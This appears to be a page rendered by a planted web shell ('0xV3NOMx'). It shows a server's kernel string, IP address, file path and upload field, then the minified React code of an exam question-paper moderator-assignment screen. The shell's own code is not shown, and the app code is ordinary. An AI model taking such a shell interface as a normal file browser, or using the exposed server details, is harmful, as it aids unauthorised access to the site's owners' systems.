0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.138.114.198


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/AssignModerator-BIHXRZb_.js

import{v as E,E as b,x as P,r as i,t as a,D as H,B as S,L as Q,G as m}from"./index-CBbt9NTc.js";import{I as k}from"./index-BQ2HHrHV.js";import{a as z,t as U,p as G,f as C}from"./sem-BK69X1ab.js";import{g as $,a as J,d as Y}from"./UploadQpPattern-KhZx1dP6.js";import{S as K}from"./index-2FOt2MBX.js";import{R as V}from"./SaveOutlined-DQZSDNrR.js";import{R as W}from"./HomeOutlined-Doj6V8OL.js";import{R as D,C as h}from"./row-CFnelDp4.js";import{F as X}from"./Table-C0TvTv2Q.js";import{C as w}from"./index-D0oA6Ks2.js";import"./responsiveObserver-BCVFZ_Q7.js";import"./index-CAjAcK4L.js";import"./index-Dn8Z9VHW.js";const Z=(...o)=>async(l,x)=>{try{const d=x();let u=localStorage.getItem("dbname");l({type:"SET_LOADER"});const r=await E.get("app.php?a=getAssignModeratorDetails&db="+u+"&board="+o[1]+"&qpcode="+o[2]+"&deggrp="+o[0]+"&qptype="+o[3]+"&fuser="+d.loginfo.userData.fregno+"&flogtyp="+o[4]);if(l({type:"UNSET_LOADER"}),r.data.error_code===0){const j=r.data.data.mod.map((c,p)=>({...c,key:p,fslno:p+1})),f=r.data.data.teach.map((c,p)=>({key:p,value:c.fteachcode,label:c.fteachname+" ["+c.fteachcode+"]"}));l({type:"MOD_DETAILS",payload:j}),l({type:"TEACHER_DETAILS",payload:f})}else l({type:"MOD_DETAILS",payload:[]}),l({type:"TEACHER_DETAILS",payload:[]})}catch(d){b("error",d.message)}},ee=o=>async(l,x)=>{try{const d=x();let u=localStorage.getItem("dbname");l({type:"SET_LOADER"});const r=await E.post("app.php?a=saveAssignModerator&db="+u,o);l({type:"UNSET_LOADER"}),r.data.error_code===0?b("success",r.data.data.msg):b("info",r.data.data.msg)}catch(d){b("error",d.message)}},te=o=>{const[l,x]=i.useState(""),[d,u]=i.useState("All"),[r,j]=i.useState("All"),[f,c]=i.useState("THEORY"),[p,v]=i.useState("All"),[A,T]=i.useState([]),[M,F]=i.useState(!1);i.useEffect(()=>{o.getQpDeggrp()},[]),i.useEffect(()=>{T(o.getAssignMod)},[o.getAssignMod]);const y=async(e,t)=>{t==="deggrp"&&(x(e),j(""),await o.getQpBoard(e),await o.getAvailableSubjects(e,"All")),t==="board"&&(u(e),await o.getAvailableSubjects(l,e)),t==="qpcode"&&j(e),t==="type"&&c(e),t==="loginType"&&v(e)},I=async()=>{if(l==="")return b("info","Please Select Degree Group"),!1;await o.getAssignModeratorDetails(l,d,r,f,p),F(!0)},O=o.deggrp.map(e=>({key:e.fdeggrp,label:e.fdescpn,value:e.fdeggrp})),q=o.board.map(e=>({key:e.fboardcode,label:e.fboardname,value:e.fboardcode})),R=[...z,...q],L=o.qpcode.map(e=>({key:e.fqpcode,label:e.fsubname+" ["+e.fqpcode+"]",value:e.fqpcode})),g=(e,t,s)=>{const n=A;n[t.key][s]=e,n[t.key].onchange="T",T([...n])},B=[{key:"All",label:"All",value:"All"},{key:"Allowed",label:"Allowed",value:"Allowed"},{key:"NotAllowed",label:"Not Allowed",value:"NotAllowed"}],N=[{title:"Sl. No",dataIndex:"fslno",align:"center",width:"5%"},{title:"QP Code",dataIndex:"fqpcode",align:"center",width:"9%"},{title:"Subject Name",dataIndex:"fsubname",width:"19%"},{title:"QP Count",dataIndex:"fset",align:"center",width:"5%"},{title:"Uploaded Count",dataIndex:"uploaded",align:"center",width:"5%"},{title:"Moderator",render:(e,t)=>a.jsx(m,{size:"mini",showSearch:!0,optionFilterProp:"label",style:{width:"100%"},value:t.fteachcode,options:o.teachers,onChange:s=>g(s,t,"fteachcode")}),width:"19%"},{title:"From Date",render:(e,t)=>a.jsx(k,{style:{height:"35px"},formatChars:C,className:"date-input",mask:"ed/nm/zyyy",value:t.ffromdate,onChange:s=>g(s.target.value,t,"ffromdate"),placeholder:"dd/mm/yyyy"}),width:"12%"},{title:"To Date",render:(e,t)=>a.jsx(k,{style:{height:"35px"},formatChars:C,className:"date-input",mask:"ed/nm/zyyy",value:t.ftodate,onChange:s=>g(s.target.value,t,"ftodate"),placeholder:"dd/mm/yyyy"}),align:"center",width:"12%"},{title:"Allow Login?",render:(e,t)=>a.jsx(w,{checked:t.fstatus==="T",onChange:s=>{let n=s.target.checked?"T":"F";g(n,t,"fstatus")}}),align:"center",width:"5%"},{title:"Send Email",render:(e,t)=>a.jsx(w,{checked:t.emailstatus==="T",onChange:s=>{let n=s.target.checked?"T":"F";g(n,t,"emailstatus")}}),align:"center",width:"5%"},{title:"Freeze",render:(e,t)=>a.jsx(w,{checked:t.fmodstatus==="T",onChange:s=>{let n=s.target.checked?"T":"F";g(n,t,"fmodstatus")}}),align:"center",width:"5%"},{title:"Delete?",render:(e,t)=>a.jsx(w,{checked:t.fdeleted==="T",onChange:s=>{let n=s.target.checked?"T":"F";g(n,t,"fdeleted")}}),align:"center",width:"5%"}],_=async()=>{const e=A.filter(s=>s.onchange==="T"),t=new FormData;t.append("user",o.user.fmobile),t.append("univcode",o.user.funivcode),t.append("exam",l),t.append("board",d),t.append("qpcode",r),t.append("qptype",f),t.append("data",JSON.stringify(e)),await o.saveAssignModerator(t)};return a.jsxs(H,{style:{margin:"6rem 10px 10px"},title:a.jsx("h6",{children:"Assign Moderator"}),extra:a.jsxs(K,{children:[a.jsxs(S,{type:"primary",onClick:()=>_(),children:[a.jsx(V,{})," Save"]}),a.jsx(Q,{to:"/",children:a.jsxs(S,{type:"primary",danger:!0,children:[a.jsx(W,{})," Exit"]})})]}),children:[a.jsxs(D,{gutter:16,children:[a.jsxs(h,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Exam"}),a.jsx(m,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:l,options:O,onChange:e=>y(e,"deggrp")})]}),a.jsxs(h,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Board"}),a.jsx(m,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:d,options:R,onChange:e=>y(e,"board")})]}),a.jsxs(h,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Subject"}),a.jsx(m,{showSearch:!0,className:"ant-select-item-option-content",optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:r,options:L,onChange:e=>y(e,"qpcode")})]})]}),a.jsxs(D,{gutter:16,children:[a.jsxs(h,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Type"}),a.jsx(m,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:f,options:U,onChange:e=>y(e,"type")})]}),a.jsxs(h,{xs:12,sm:12,md:6,lg:4,xl:4,xxl:4,children:[a.jsx("label",{children:"Login"}),a.jsx(m,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:p,options:B,onChange:e=>y(e,"loginType")})]}),a.jsxs(h,{xs:12,sm:12,md:6,lg:3,xl:3,xxl:3,children:[a.jsx("p",{style:{marginTop:"20px"}}),a.jsx(S,{type:"primary",style:{marginBottom:"10px"},onClick:()=>I(),children:"Submit"})]})]}),M&&a.jsx(X,{dataSource:A,columns:N,scroll:{x:1300,y:300},size:"small",pagination:G})]})},ae=o=>({deggrp:o.deggrp,board:o.board,qpcode:o.availableSubjects,user:o.loginfo.userData,getAssignMod:o.getAssignMod,teachers:o.teachers}),ue=P(ae,{getQpDeggrp:$,getQpBoard:J,getAvailableSubjects:Y,getAssignModeratorDetails:Z,saveAssignModerator:ee})(te);export{ue as default};